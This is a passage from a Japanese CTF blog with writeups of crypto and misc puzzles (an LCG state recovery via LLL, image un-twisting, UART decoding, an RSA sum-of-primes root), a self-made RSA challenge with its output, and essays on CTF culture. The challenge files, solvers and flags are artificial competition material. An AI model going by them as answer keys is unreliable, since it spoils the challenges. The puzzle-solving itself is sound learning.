Learning cyber security by playing and enjoying CTFs

Cyber Security関係の雑記帳です。表明されているお気持ちなどは全て個人的なものであり、筆者が所属もしくは関係する組織・団体の意向とは一切関係ありません。

osu!gaming CTF 2024 Writeup

 「出なかったCTFに限って面白い問題が出題される」というマーフィーの法則(死語?)を打破する現実解の一つとして、「可能な限り多くのCTFに参加する」*1というのがあります。

 いろいろと宿題は溜まっていたのですが、3/2 に開催された 「osu!gaming CTF 2024」に参加し、「lucky-roll-gaming」1問だけ解きました。

設問

 以下の 2 ファイルが与えられます。

「script.py」

from Crypto.Util.number import getPrime # https://pypi.org/project/pycryptodome/
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from random import randrange
from math import floor

def lcg(s, a, b, p):
    return (a * s + b) % p

p = getPrime(floor(72.7))
a = randrange(0, p)
b = randrange(0, p)
seed = randrange(0, p)
print(f"{p = }")
print(f"{a = }")
print(f"{b = }")

def get_roll():
    global seed
    seed = lcg(seed, a, b, p)
    return seed % 100

out = []
for _ in range(floor(72.7)):
    out.append(get_roll())
print(f"{out = }")

flag = open("flag.txt", "rb").read()
key = bytes([get_roll() for _ in range(16)])
iv = bytes([get_roll() for _ in range(16)])
cipher = AES.new(key, AES.MODE_CBC, iv)
print(cipher.encrypt(pad(flag, 16)).hex())

「out.txt」

p = 4420073644184861649599
a = 1144993629389611207194
b = 3504184699413397958941
out = [39, 47, 95, 1, 77, 89, 77, 70, 99, 23, 44, 38, 87, 34, 99, 42, 10, 67, 24, 3, 2, 80, 26, 87, 91, 86, 1, 71, 59, 97, 69, 31, 17, 91, 73, 78, 43, 18, 15, 46, 22, 68, 98, 60, 98, 17, 53, 13, 6, 13, 19, 50, 73, 44, 7, 44, 3, 5, 80, 26, 10, 55, 27, 47, 72, 80, 53, 2, 40, 64, 55, 6]
34daaa9f7773d7ea4d5f96ef3dab1bbf5584ecec9f0542bbee0c92130721d925f40b175e50587196874e14332460257b

検討

 線形合同法(mod p)による疑似乱数からの mod 100 での出力 72 個から先を予測すれば AES の鍵が手に入ります。

 これは、かの有名な 𝕮𝖗𝖞𝖕𝖙𝖔 𝖂𝖎𝖙𝖈𝖍 「kurenaif」さんの動画*2の内容を少しアレンジすれば解けそうな感じです。

www.youtube.com

方針

 前記動画では、線形合同法 48 ビットからの上位 4 ビットの出力 20 個から先の出力を予測していますが、本質的にはこの手法をそのまま利用すれば OK です。

 アレンジする必要があるのは、得られる出力が「上位 4 ビット」ではなく「mod 100での値」である点と、線形合同法の modulus は「2**48」ではなく 「p」となる点です。前者は多少の手間となりますが、後者は逆元計算が楽になるだけなので結果的に難なくやれる感じです。

 また、手に入っている値の数は連続した 72 個があるので十分足りそうな気がします*3

ソルバ

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import random

class LCG:
  def __init__(self, a, b, m, seed):
    self.a = a
    self.b = b
    self.m = m
    self.state = seed
  def next_state(self):
    self.state = (self.a * self.state + self.b) % self.m
  def get_roll(self):
    self.next_state()
    return self.state %100

ct = bytes.fromhex("34daaa9f7773d7ea4d5f96ef3dab1bbf5584ecec9f0542bbee0c92130721d925f40b175e50587196874e14332460257b")
m = 4420073644184861649599
a = 1144993629389611207194
b = 3504184699413397958941
leaks = [39, 47, 95, 1, 77, 89, 77, 70, 99, 23, 44, 38, 87, 34, 99, 42, 10, 67, 24, 3, 2, 80, 26, 87, 91, 86, 1, 71, 59, 97, 69, 31, 17, 91, 73, 78, 43, 18, 15, 46, 22, 68, 98, 60, 98, 17, 53, 13, 6, 13, 19, 50, 73, 44, 7, 44, 3, 5, 80, 26, 10, 55, 27, 47, 72, 80, 53, 2, 40, 64, 55, 6]

u = len(leaks)
Y = vector(ZZ, [leaks[i+1] - leaks[i] for i in range(u-1)])
inv_100 = pow(100,-1,m)

A = matrix.identity(ZZ, u-1)
for i in range(u-1):
  if i == 0:
    A[i,i] = m
  else:
    A[i,0] = -1 * a^i
L = A.LLL()
K = vector(ZZ,[round(w / m) for w in inv_100 * L * Y])
E = ~L * (m * K - inv_100 * L * Y)
X = E * 100 + Y
seed = pow(a-1,-1,m) * (int(X[0])-b) % m

lcg = LCG(a, b, m, seed)

out = [seed%m]
for _ in range(floor(72.7)-1):
  out.append(lcg.get_roll())
#assert out == leaks

key = bytes([lcg.get_roll() for _ in range(16)])
iv = bytes([lcg.get_roll() for _ in range(16)])
cipher = AES.new(key, AES.MODE_CBC, iv)
pt = unpad(cipher.decrypt(ct),16)
print(pt.decode())

フラグ

osu{w0uld_y0u_l1k3_f1r5t_0r_53c0nd_p1ck}

*1:全てのCTFに参加するは非現実的なので、まぁこんなところでしょう。

*2:乱数予測以外にもさまざまな面白い/勉強になるコンテンツがあります。特にこれから Crypto Player をやりたい方には視聴を強くお勧めします。

*3:実験してみたところ、最小で連続した12個、連続した18個であれば取り方によらず予測可能でした。

防衛省サイバーコンテスト2024 参加記+Writeup (Pickup)

1. はじめに

 昨年 8 月に続き、2024/2/25(土)9:00 JST ~ 21:00 JST に開催された「防衛省サイバーコンテスト2024」に参加しました。*1

 途中食事休憩などを挟みながらもほぼフルタイムで稼働、Web とNetwork が壊滅的でしたがそれ以外の分野ではどうにか全完し、396/560pts(15th / 314teams)という結果でした。

 Web と Network がマトモに出来ていればワンチャン上位も狙えたはずで、なんとも残念。しかしこれをあえて「伸びしろが大きい」と前向きに捉え、近いうちに「Web/Network 強化ソロ合宿」を敢行*2することで供養したいと思っています。

2. 参加記と全体的な感想

2.1. 参加記

 まずは、テンションを上げるため、スイーツを準備。

 メンタル不調は成績に直結する*3ので、お気持ちコントロールは大事です。

 そして BGM は youtube で喜歌劇「こうもり」。浮気にまつわるトラブルなど含めすったもんだの末に最後は「全部シャンパンのせい」にするのが「全部大泉のせい」みたいで好きです。*4

 閑話休題。ケーキを食してスタートした後、フルーツゼリー*5もやってしまい意識朦朧とするなどハプニングを重ねつつ、Crypto と Forensics を全完した段階でお気持ちもだいぶ楽になってきました。しかし、Web と Network がほとんど解けないのは辛かったです。まぁ自業自得*6なのですが。

2.2. 全体的な感想

 設問数は Welcome を除いて 31 問、前回と同じく難易度別に 10 点・20 点・30 点の配点がされておりました。SECCON Beginners CTF や Wani CTF と同様、解きやすい問題が多く、最近のCTF に見られる「難化傾向」とは対極にあるようでした。

 問題セットとしては 「問題自体はシンプルだが、解こうとすると凡庸な方法では解けない、パンチが効いたやつ」という傾向ではなく*7、どちらかというと一昔前の CTF や、picoCTF の easy ~ medium クラス問の雰囲気に近いのかなと感じました。

 また、大会中大きな不具合には遭遇しませんでしたが、一部設問に記載ミスがあったり、コンテストの問題としてはやや物足りないもの*8があったりと、官公庁主催の大会としてはビミョーかなと思えるところもありましたので、次回はそのあたりが良い方向へ修正されることを期待しています*9

3. Writeup(Pickup)

 解いた問題の中で、特に面白い💕と思った 3 問をピックアップして紹介します。

3.1 Une Maison (Misc, 10pts)

設問

画像 maison.jpg の中にフラグが隠されています。探してみてください。

 「maison.jpg」として、6000×4000 / 1.77MB という大きな画像が提示されます。

検討

 英語力がカスなので、「maison」を「メイソン」*10と読んでしまい、フリーメイソンのシンボルマークと XOR してみようと試みるも失敗。

 そういえば「めぞん一刻」という作品があったな、と思い出し、これは「メゾン」だ、と気づいて軌道修正しました。

 Google Lens でこの画像を調べると、類似画像が多数。しかしよく見ると、ルーフバルコニー付近に違和感が。

 謎にバーコードっぽくなっている所があるので、怪しいと判断しました。

解法

 バーコードの部分を切り出し、バーコードリーダーに投げたらフラグをゲットできました。

フラグ

flag{$50M!}

3.2 Twisted Text (Programming, 30pts)

設問

添付の画像 Twisted.png は、画像の中心からの距離 r [pixel] に対して

θ = - (r ^ 2) / (250 ^ 2) [rad]

だけ回転されています(反時計回りを正とします)。逆変換を施してフラグを復元してください。

検討

 Programming の問題なので、プログラムを作って逆変換すれば解けそうな気がしてきました。計算法を誤って精度を落とすとズレが生じそうですが、フラグが読めればよいのであまり気にしないことにします。

 ということで、逆変換するプログラムで雑に画像を作ればフラグが読めそうな感じがしましたのでそういう方針としました。

解法

 雑に逆変換をするプログラムを作りました。

 途中で止まって何でだろうと悩みましたが、回転させた際に画面の外にハミ出すものがあり得るので、それらはドロップして描けるものだけを描くようにしました。

「solve.py」

import math
import cv2
import numpy as np

L = 1280
ct = cv2.imread('Twisted.png')

def R(P):
  return math.sqrt(P[0]**2+P[1]**2)

def rotate(P):
  px, py = P[0]-L/2, P[1]-L/2
  r = R((px, py))
  theta = (r ** 2) / (250 ** 2)
  qx = math.cos(theta)*px - math.sin(theta)*py+L/2
  qy = math.sin(theta)*px + math.cos(theta)*py+L/2
  return (int(qx), int(qy))

pt =  np.zeros((L, L, 3))
for i in range(L):
  for j in range(L):
    _i, _j = rotate((i,j))
    try:
      pt[_i][_j] = ct[i][j]
    except:
      pass

cv2.imwrite('pt.png',pt)

以下の画像が出力されました。 真ん中のあたりで flag が読めそうです。

フラグ

flag{LHZGhq3WTXvo}

3.3 Serial Port Signal (Misc, 30pts)

設問

Tx.csv は、とあるシリアル通信の内容を傍受し、電気信号の Hi, Low をそれぞれ数字の 1 と 0 に変換したものです。通信内容を解析してフラグを抽出してください。

解答形式:flag{XXXXXXXX} (半角英数字)

「Tx.csv」という、CSV ファイルが提供されます。「microseconds」「logic」の 2 行からなり、「logic」行は 0 または 1 の値が入っています。

検討

 以前別の CTF で似たような問題を解いたことがあり、その時は連続する同じ値のいくつかの塊で1つのビットを表すので、まずはバイナリデータを取り出して、その後ゴニョゴニョやってデコードするという方針で行くことにしました。

解法

 まずは、バイナリデータ(0と1からなる文字列)に変換します。ざっと眺めると 5 個か 6 個の塊で1つのビットを表しているようでしたので、以下のようなコードを作ってみました。

「solve1.py」

s = open("Tx.csv","r").read().split("\n")
s = s[1:-2]

data = ""
current = ""
seq = 0

for x in s:
  valuei = int(x.split(",")[0])
  values = x.split(",")[1]
  if values != current:
    data += current * ((seq+1)//5)
    seq = 0
    current = values
  else:
    seq += 1

print(data)

 ここで 7bit 毎に切り出したり 0 と 1 を入れ替えたり、色々とゴニョゴニョやってみてもうまくいかず詰まってしまいました。

 思い切って 2pt 支払い第一ヒントを見ると、「UART」である旨お告げを受けました。ググってみると

「Startbit」+「データ(7bitか8bit)」+「パリティbit」+「Stop bit」

という形らしいので、辻褄が合うよう試行錯誤切り出してみると、データは 7bit で次のプログラムでデコードできるようになりました。

「solve2.py」

data = "000010010101010011010001101101000110110101111011010000001011010101010101000001010010010111000101011100101110010000001011011001111101001111110011101111000101110101101111010100100111001010110101010101010010110101011000011101010110010001010111000100010101011111010101100011"

flag=""

for i in range(0,len(data),10):
  flag += chr(int(data[i+1:i+8][::-1],2))
print(flag)

 実行すると、「Hello UART: synt{IjUZC5TD}」と表示されますが、フラグっぽい部分は ROTxx っぽい*11ので CyberChef で変換しました(ROT13でした)。

フラグ

flag{VwHMP5GQ}

4. おわりに:反省会

  • 😄Good: Web と Network 以外全完でき、前回よりも順位 up。
  • 😣Bad:Web と Network がほとんど出来ず壊滅。
  • 🏴‍☠️Next:苦手分野を強化!得意分野はもっと強化!

 前回(2023年)が 8 月開催でしたので、ひょっとして夏頃に「2024年第2回」があるのでしょうか?いずれにしても、次回もタイミングが合えば参加したいと思います。

*1:名義は前回と同様、「灰原武尊」(読み方は「はいばら たける」)です。

*2:おそらく、HTB をひたすらやる、というやつになります。

*3:直近で参加した closed な大会では惨敗でした。

*4:余談ですが、この劇中で一番報われないのはパトロンの座をオルロフスキー侯に奪われ色々とやり場を失ったフランク刑務所長だと思っています。

*5:実際のフルーツが入っているのではなく、着色料と香料によるものです。

*6:SECCON 電脳会議聴講して Web やる気になったにもかかわらずサボっていたツケです。反省。

*7:もちろん、あくまで自分が解いた問題の中では、の話ですが。

*8:例えば Short RSA Public Key は modulus が小さすぎて private key (N の素因数分解)は yafu で瞬殺で、crypto の middle 問としてはちょっと物足りない気がしました。

*9:問題のエスパー的な難化を期待はしておらず、むしろエスパー要素の排除を期待しています。

*10:メイソンから始まるメイソウというやつですね。

*11:「synt{」に既視感があると思ったら、去年の crypto easy 問でも ROT13 が出ていました。

happy new yeaR with an eaSy wArmup challenge

 本ブログをご覧のみなさま、本年もよろしくお願いいたします。

 本年は元日から甚大な災害・事故が重なっておりますが、明日以降の平穏無事を祈念し、急遽 Crypto の Warmup 問題を用意しました。*1

 なお、チャレンジされる方には恐れ入りますが以下の点にご留意お願い申し上げます:

  • フラグの形式は、flag{[\x20-\x7e]+} です。
  • 本問を解くことによって新たな知識を得た場合、それを悪用してはいけません。
  • 本問の Writeup は大歓迎ですが、直接フラグを示さないでください。*2
  • 細心の注意を作って作成しましたが、「解けない、もしくは解が複数ある」「そもそも○○がおかしい」「 自分が過去に作成した問題と酷似している」等の苦情がある場合は、X(https://twitter.com/EdwowMath)の DM で受け付けます。

 それでは、以下の chall.py と output.txt からフラグを求めてください。

chall.py

from Crypto.Util.number import *
import base64
import os
from  secret import flag

m = os.urandom(192-len(flag)//2) + flag + os.urandom(192-len(flag)//2)
m1, m2 = bytes_to_long(base64.b64encode(m[:len(m)//2])), bytes_to_long(base64.b64encode(m[len(m)//2:]))

p = getPrime(1024)
q = getPrime(1024)
r = getPrime(1024)
s = getPrime(1024)
if r < s:
  r, s = s, r

n1 = p * q
n2 = r * s

assert m1 < n1
assert m2 < n2

t = pow(m1, 1337, p) # hint1
u = pow(r, 2, m2) # hint2

e = 65537
c1 = pow(m1, e, n1)
c2 = pow(m2, e, n2)

print(f"n1= {n1}")
print(f"n2= {n2}")
print(f"e = {e}")
print(f"c1= {c1}")
print(f"c2= {c2}")
print(f"t = {t}")
print(f"u = {u}")

output.py

n1= 15809496692858732982029318916886443698018329313416244505168727101526760837481485692935245827437202505642012177919953210848373397250350067724766690192394917312235256663531028907338229419467526966077607404564236427846428039096404432709422078112254762291290890238853303587226062945238093326111972489330442491151394665071920422614656205153712663294452261079726274037556931808434465077016116074187887255453624017964983173059642924285479225547222268331658355264856561415402723526570002024456897365027946463891276101044785842444335375422242665383776224434150818644688524333381462662553855504758742651809411664415600965400303
n2= 17115530611961160733153409824989287056785780004379110481633980342227390244104381082915422954478665505239222142118817040228722129863379293444023972874469464581707788859033741554383695588574234529024472481693783952738008661625339688186626716219824813486682492148488148407946217534792835789909537916813395399438603494969187678927959416080093302003295130391244688185942734332845365768773668725322925712822065933966110756250220087244334234019881306333830954070028681685411924277830547973277446733903156129322946731848120251258079372193139441460590216066997707947128218816481980866867772926164827369821949326122602695783127
e = 65537
c1= 11055974447944030017336276693630027855956048299480774982463891925655164429888363185213456926698466616381534082920464959333596735561856128283567282898315565016215727283281771346481557245287068860101506330575764934755079218707033738588722398910946929444534575546426554637474997049669306046998620553174720870449574648731088592015628298014309508900581406827014805701283061502823393889081984060821654899393535566500749131793697860269709145722687226076495598793892025133680780336520377723886324291733775227836076198765882499031743357483688688558585873204486693228840354226275858648539668651225339126426781973009229222198958
c2= 5291207119719393369591722644523057924425411596104482792588219328819353689201501358914889041765393168263653449554451790466409130681236623635900284468113826851653094193132168591240124610916294229338484490572785127091653581610295855068346716038581359833784211005987668736275812449922493150962178627300520851990907279522767365670591934206414641691877585781687591698639176030533867063058646519944766740601350838030776257546847516424708828239287105800656146264169543305965714213345423163777083196354014289471040123627296322325174314461021198718186024326927646927993160729137964301193213968281576950680575626970258104096792
t = 60411685103027501120676843032190037387637292177367929037509821428844248796849456435383401683253775805773879751322110658321341833579808940429214091992705969492704201869641117784115029944210999759973150666214923131630236838833609945450268350945291909413044630419433914205252978362525757777640906763990537394676
u = 8187598495480156683891536809355726298612612705667433280784981214113919518324439015412245670013618449134012588847473573270743269741745499442008889748810786877285580879706591715825859870512941092906482068461001412222170469419037940406574443463074109741197349483868665047549833500994992461890835188010042959982495131124007285310725364546596405872784135952867325365040285831332591838572559064293720630546084252111985351920745633852177297717241429666793373904312442571229993974933952369588144751802538896966305557607119413285029310434769813416519222128952117361981812741587291123111986807113665882392818707730410853202933

 今年は年初からいろいろ忙しく、CTF を プレイできるのは 2 月末 か 3 月くらいからになりそうですが、引き続き対戦いただければと思います。

*1:Crypto ガチ勢には簡単すぎるかもしれませんが。

*2:常設 CTF の Writeup と同様です。

2023年をサラッと振り返る

1. はじめに

 2023 年もあと少しですので、「GB+-NN」*1でサラっと 1 年を振り返ってみたいと思います。

2. Good(良かったこと)

  • Ricerca CTF 2023 で Writeup 賞をいただいた。*2
  • Crypto CTF で今年も純日本チームで 2 位。*3
  • Cake CTF で Yoshiking シリーズを始めて倒せた。*4

3. Bad(悪かったこと)

  • 「もう一歩」の踏ん張りが足りなかった。*5
  • Wani CTF や SECCON Beginners で大きく順位を下げた。*6
  • 腰を据えた調査・研究ができなかった。*7

4. ++(進歩したこと)

  • 不得手分野に対する「やる気」。*8
  • 健康状態に配慮したゲーム組み立て力。*9
  • パソコンの処理能力。*10

5. --(退化したこと)

6. Next(来年はこうしよう)

  • 暗号(解読)手法を体系的に再構築する。*14
  • 常設 CTF への投入エネルギー倍増。*15

7. Never(来年はこうすまい)

  • 難問でも、あきらめて虚無らない*16
  • Writeup をサボらない*17

8. おわりに

 CTF 界隈でお世話になっている皆様、そして本記事をお読みいただいた皆様の、益々のご健勝とご多幸をお祈り申し上げ、結びといたします。

*1:Good/Bad/++/--/Next/Neverの6項目。私の造語であり、読み方もよくわからないし、特に深い意味はナシ。

*2:https://m5453.hatenablog.com/entry/2023/04/26/001957

*3:ただし、WorldWideTeam に自分より多く解いている日本人が何人もいるので、「実力 2 位」とは程遠い。

*4:加えて、一桁 Solve の問題も倒せた。

*5:Crypto CTF で Hard 以上の問題を全て残したり、ASIS CTF Qualsで Crypto 問を大量に残したり。

*6:単に過去がラッキーだった、という説がある。

*7:つい誰かのせいにしたくなるが、これは誰のせいにもできないこと。

*8:SECCON 電脳会議に出て脱・Web嫌いができたのは大きかった。

*9:食う・寝るを疎かにせず、極力翌日に疲労を残さない。

*10:特に、メモリは16GB→64GB。まぁ、自分の能力ではupないのでノーカンだろと言われればそれまで。

*11:特に視力がヤバいけど、多分寝落ちでメガネが歪んだせい。ちなみに、「時の運」は自分のせいじゃないからノーカン。

*12:自分で一から書いたものはほとんどなく、過去作からの写経ばかりという有様。

*13:集中力ともいう。

*14:ポピュラーなRSA楕円曲線はもちろん、未だ理解できていない耐量子系各種についても。

*15:HTB 本格参戦 + CryptoHack 全完を目指す。

*16:特に、Crypto 分野では。

*17:SECCON 電脳会議のはきっと来年書きます。ゴメンナサイ…

良いCTF・悪いCTF・普通のCTF(for CTF Advent Calendar 2023)

 この記事は、CTF Advent Calender 20日目の記事です。

adventar.org

 前日の記事は、Ryusei Ishikawa さんの「TsukuCTF 運営参加記」です。

xryuseix.hatenablog.com

 TsukuCTF はセキュリティ系のハッカソン SecHack365 の修了生が運営する OSINT 中心の CTF で、記者*1は OSINT がかなり苦手なのですが、それでも(OSINTを含めて)十二分に楽しむことができる 良いCTF でした。

※12/20 の時点で、翌日分は埋まっておりませんでした。記事が追加され次第リンク対応します。

1. はじめに

 最初に言い訳ですが、本記事のタイトルは完全に「ネタ」です*2。過去に開催されたCTFに対する「採点」でもなければ、客観を装って自分の価値観を押し付ける類の「説教」*3でもありません。

 一応の格好をつけるならば、「CTFがより親しみやすく、楽しめる競技に発展するための意見表明」ということになりますが、実態としては(ご一読いただくとバレてしまいますが)「あるプレイヤーの個人の価値観に基づくお気持ち表明」です。

 しかしながら、「CTFは運営とプレイヤー(とスポンサー)のみんなで創るものである」という考え方があり、おそらくほとんどのCTFはその考え方に基づいて運営されていると思われます。そして、記者はそれに賛同し、もし今後自分が運営に回るときにはその考え方を尊重しなければならないと思っています。

 そこで本稿では、

  • 👼良い👼 =「これは良かった/真似したい」と思うこと
  • 👿悪い👿 = 「これだけは絶対やめて欲しい/絶対にやるまい」と思うこと
  • 👦普通👦 = 「自分が運営する時これだけはクリアしたい」と思うこと

と定義し、それぞれについて contnt-type okimochi/poem で記すこととします。

2. 👼良いCTF👼 ~「これは良かった/真似したい」と思ったこと~

 ここでは具体的な大会名の言及はしません(・・・と言いながら、具体的にいくつか言及してしまっています。「良い」方なので許してください。以上、2023/12/22 20:30加筆。)が、記者が出場して Writeup を書いている大会のほとんどがここで言う「良いCTF」に該当します。

2.1. 問題が、解いていて楽しいものである👼

 CTF に参加して「良かった・楽しかった」と思う最大の要因はやはり問題セットのクオリティでしょう。まぁそりゃそうだわさ、という話なのですが、ここではその「良さ・楽しさ」について少しだけ掘り下げてみます。

 記者において(解けたかどうかにかかわらず)、過去に「この問題は良かった・楽しかった」と思った問題の共通項はだいたい以下のようなものでした。

  • 最新/トレンドの技術的な要素が問題に反映されている(スキルアップに直結
  • 一見、解けなさそう(セキュア)に見える(解けたとき達成感がある
  • 有償ツールや特殊環境等のスキルとは別のレイヤーでの負担を必要とすることなく解ける(純粋に技術・知識で勝負

 また、(個々の問題ではなく)問題セットに対しては次のような感想を持っています*4

  • 問題量は、1~3チームが全完するくらいが良さげ
  • CTF 初プレイの人でも得意分野では1問以上解けるようになっていると良さげ
  • 各分野で、強い人でも容易には解けない問題が含まれていると良さげ

2.2. 特色が「いい感じに」明確である👼

 特色がない大会はどうしても「つまらなく」感じてしまいますが、その一方で癖の強さを「ゴリ押し」されると辛く感じてしまうのもまた事実です。

 このあたりがとても上手くまとめられている良い例としては、CakeCTF があります。「カジュアルで、初心者から上級者まで楽しめる」というコンセプトのもと、スコアサーバのデザインも🍰で統一されるなど、いい感じに特色が出ています*5

 また、TSG CTF では他の CTF では見られない特徴として、出される問題の分野・難易度・オープンする時刻を予告していますが、スケジュールが立てやすくなるので*6個人的にはこれが大好きです。

2.3. 「寛容」が基本姿勢だが、悪を決して許さない 👼

 趣旨によってプレイヤーの年齢・性別・国籍・所属組織で出場制限をする大会はありますが、競技を盛り上げるためには「出場の条件」が少ないに越したことはありません。実際、多くの大会では出場に関する制約*7は大会の趣旨を実現するための必要最小限度となるよう、きちんと配慮がなされています*8

 その一方で、その間口の広さゆえに「攻撃に使える技術の演習機会や技術そのものを "悪性のハッカー" にも与えてしまう」ことなどが懸念されることもあり、最近では予めプレイヤー・スポンサー・運営が遵守るべき行動規範(コード・オブ・コンダクト)を定めることがスタンダードとなっています。

 記者はこういった姿勢がスコアサーバのルール欄やチャット等で明確にアナウンスされている大会を「良いCTF」であると判断しています。

3. 👿悪いCTF 👿~「これだけは絶対やめて欲しい/絶対にやるまい」と思ったこと~

3.1. 問題の質がひどい(いわゆるエスパー問題やクソ問)👿

 「良いCTF」で書いた内容の裏返しです。悪問が幾つか混ざるのはギリ許せるとして、そういうのがあまりに多いとそれだけで気持ちが萎えてしまいます。

 個人的には、以下のような問題は悪問と考えています。

  • 過大な推測(Guessing)を要する、いわゆるエスパー問題。
  • 答えが自明すぎる問題*9
  • 競技終了間際にオープンされる難易度(得点)が高い問題*10

 あと、当たり前のことですが作問チェックが甘すぎるのはいけません*11

※その昔、正答でフラグが通らず苦情を申し立てたら何のアナウンスもなくシレっと正解扱いになっていた、というのを経験しましたが、モチベーションが落ちまくって実質的に競技放棄をするに至りました*12

3.2. 運営が "逐電" する(!)👿

 運営陣が運営を放棄してドロン。「おいおい、マジかよ!」と思う話ですが、実際に経験しました*13

※プレイヤーは(その是非は置いておくとして)いつでも試合放棄できますが運営(やスポンサー)はそうはいかず、ある意味「非対称的」*14なのですが、これは致し方ないことでしょう。だからこそCTFの運営陣はリスペクトされるべき存在とも思っています。

3.3. 不公平・不公正がある👿

 競技である以上、これは絶対にダメです。競技内のルールは無論のこと、prize を出す場合にも留意が必要でしょう。prize は情勢によって変わり得るもので、回を重ねた大会の場合発展的に増えてゆくのは非常に良いことだと思うのですが、衰退してゆくのは良くないし、「特定の回だけ何もナシ」みたいなのは最悪だと思います*15

 特にマズいのは Closed な大会で発生した場合です。Open な大会では「炎上」による自浄が期待できますが、Closed な大会の場合(特に運営とプレイヤーに上下関係がある場合)は表沙汰にならず、最悪の場合被害を受けたプレイヤーが泣き寝入りとなり「怨み」だけが残ってしまいます*16

4. 👦普通のCTF 👦~「自分が運営する時これだけはクリアたい」と思ったこと~

4.1. 運営、スポンサー、プレイヤーがお互い良好な関係であること👦

 それぞれ立場は異なりますが、お互いに敬意をもって仲良くできる*17のが一番です。

4.2. 競技が公平・公正であること👦

 当たり前すぎる話ですが、気づかないうちに不公平・不公正が入り込まないようチェックを欠かさにようにしたいです。

4.3. 程よく特色を前面に出すこと👦

 あまりにクセが強すぎると「人を選んで」してしまいますが、同じような競技ばかりではつまらないので、程よく特色を出してゆきたいと思います。

4.4. 作問チェックの徹底👦

 これも当たり前の話なのですが、スケジュールが押し気味だと疎かになってしまうので常に心に留め置きたいと思います。

4.5. トラブルに備えた運営👦

 単独運営の場合は手が回らなくなるおそれがあるので、ローリスクな構成を選ぶのが良いかと思います。

 また、よくあるトラブルについては事前に対策を打っておくのが得策でしょう。例えばサーバが落ちて問題が提供できなくなっても、チャット経由で他の提供場所(githubなど)を案内することで競技継続できるよう、準備は周到にしておきたいです*18

5. おわりに

 最後に、CTF 界隈の今後益々の発展を祈念して〆といたします。

 拙文にお付き合いいただきまして、ありがとうございました。

 本記事をお読みいただいた方の「何かの足し」*19になったのであれば、とても嬉しく思います。

*1:この記事では一人称を意図的に「記者」としています。

*2:萩本欽一氏の有名バラエティ番組タイトルのオマージュです。

*3:"お偉いさん" が朝礼とか訓示とかでよくやるやつです。

*4:くどいようですが、あくまで個人の感想です。

*5:来年もきっと開催されるはず(!)ですので、参加したことがない方はぜひ参加してみると良いと思います。

*6:結局計画通りに問題が解けずオジャンになるのですが(苦笑)。

*7:prize を受ける条件については、大会趣旨に鑑み限定的になるケースは多々ありますが、それは全く問題ないと考えます。

*8:例えば学生を奨励する趣旨の大会で、pirze 受領権なしで一般(非学生)も参加可能なものが多数あります。

*9:実質タイピング速度競争となるようなもののことであり、Warmup枠や初心者向けの問題を指しているのではありません。

*10:クイズ番組で、最後の問題にベラボーに高い点数が付与されるようなやつで、「これまでの頑張り」が否定されるので個人的には嫌いです。

*11:多少のミスはつきものですので、きちんとリカバリできていればノーカンなのですが、あまりに程度がひどいとプレイを継続できないほど気力を削がれます。

*12:もしも公的機関が主催の大会で業者が相応の金額で受け負ったものであった場合には、「税金の無駄遣い」という怒りも加わってくるので、大炎上不可避でしょう。

*13:あえて名指しは控えますが、Crypto勢を中心にまだ記憶に新しいところかと思います。この運営陣には、某アニメの碇シンジ君の "あの名台詞" を進呈したいと思います。

*14:基本的に記者は非対称的な物事が嫌いですが、一方で十分な代償のもとで認められるべきものもあると考えています。

*15:そのような場合、遡って授与するべきでしょう。

*16:記者がもしそのような目に遭ったら「闇落ち」不可避です。闇を抜けて光の海へ行くことはなく、星の架け橋も渡ることはないでしょう。

*17:もちろん、「癒着」とは違います。

*18:著名な国内 CTF でも何度かトラブルに遭遇しましたが、運営が見事に捌いており、「運営陣すげー」とリスペクトの気持ちを持つに至っています。

*19:「暇つぶし」も含め、です。

TsukuCTF 2023 Writeup (by team N30Z30N)

1. はじめに

 2023/12/09(土)12:20 JST ~ 12/10(日)18:00 JST に開催された「TsukuCTF 2023」にチーム N30Z30N*1で参加しました。

ctftime.org

 結果は、22 問を解いて 6298 pts、51st でした。ソロ参加の CTF では大抵 Crypto(たまに Rev )中心にやっていて、チームプレイの場合*2 でもOSINT や Web は他のメンバーに任せているので、OSINT 問題を解くこと自体が久しぶりで楽しむことができました。

2. Writeup(Pickup)

 ここでは、解く過程に何がしかの "面白要素" があった 4 問をピックアップして紹介します。

2.1. new_cipher_scheme(crypto, 491pts, 31solves)

設問

以下のスクリプトと出力結果が与えられます。

「problem.py」

from Crypto.Util.number import *
from flag import flag


def magic2(a):
    sum = 0
    for i in range(a):
        sum += i * 2 + 1
    return sum


def magic(p, q, r):
    x = p + q
    for i in range(3):
        x = magic2(x)
    return x % r


m = bytes_to_long(flag.encode())
p = getPrime(512)
q = getPrime(512)
r = getPrime(1024)
n = p * q
e = 65537
c = pow(m, e, n)
s = magic(p, q, r)
print("r:", r)
print("n:", n)
print("e:", e)
print("c:", c)
print("s:", s)

「output.py」

r = 103223593878323616966427038558164830926502672938304332798494105455624811850665520007232855349275322661436610278579342219045141961390918581096853786570821153558254045159535424052709695034827346813080563034864500825268678590931984539859870234179994586959855078548304376995608256368401270715737193311910694875689
n = 90521376653923821958506872761083900256851127935359160710837379527192460953892753506429215845453212892652253605621731883413509776201057002264429057442656548984456115251090306646791059258375402999471135320210755348861434045380328105743420902906907790808856692202001235875364637226136825102255804354305482559609
e = 65537
c = 39668573485152693308506976557973651059962715190609831067529475947235507499262380684639847018675763554013384459402806860854682788726216001229367497152996318350435451964626471390994912819484930957099855090471916842543402636518804720798852670908465424119746453269056516567591615005540824659735238630769424838121
s = 47973982866708538282860872778400091099562248899259778360037347668440286307912908903978215839469425552581036546347166946878631770320447658019243172948791127890920650587484602734465156455346574205060576092006378013418405134156752490431761037178223087071698840062913540185985867322265081768252745826955229941850

検討

 「TsukuCTF だけど Crypto が出てる、しかも好物の RSA 問!」とばかりに、welcome 問を差し置いて早速に着手しました。

 magic2 が「平方」を行う関数であることが(実際に試してみてすぐ)分かったので、もうほぼ解けたようなものです。

 magic の中では p+q に対してmagic2 を 3度適用しているので、「(p+q)**8 mod r」が計算されるということになります。

 つまり、GF(r) の中で s の 8 乗根を計算すれば p + q (の候補が 8 つ)が判明し、(総当たりすれば)p,q を求め復号することができます。

解法

 検討したことをそのまま SageMath で実行するだけなのですが、8 乗根の計算をするところ(11行目)で止まってしまい泡を食いました。痛恨!

 急ぐあまり、予め立ち上げていた SageMath 9.3(Windows版)を使ったのが失敗の元。横着せず WSL に仕込んだ 10.2 を使っていればすんなり解けていたのでした。懺悔。

↓通すはずだったソルバ「solve.sage」

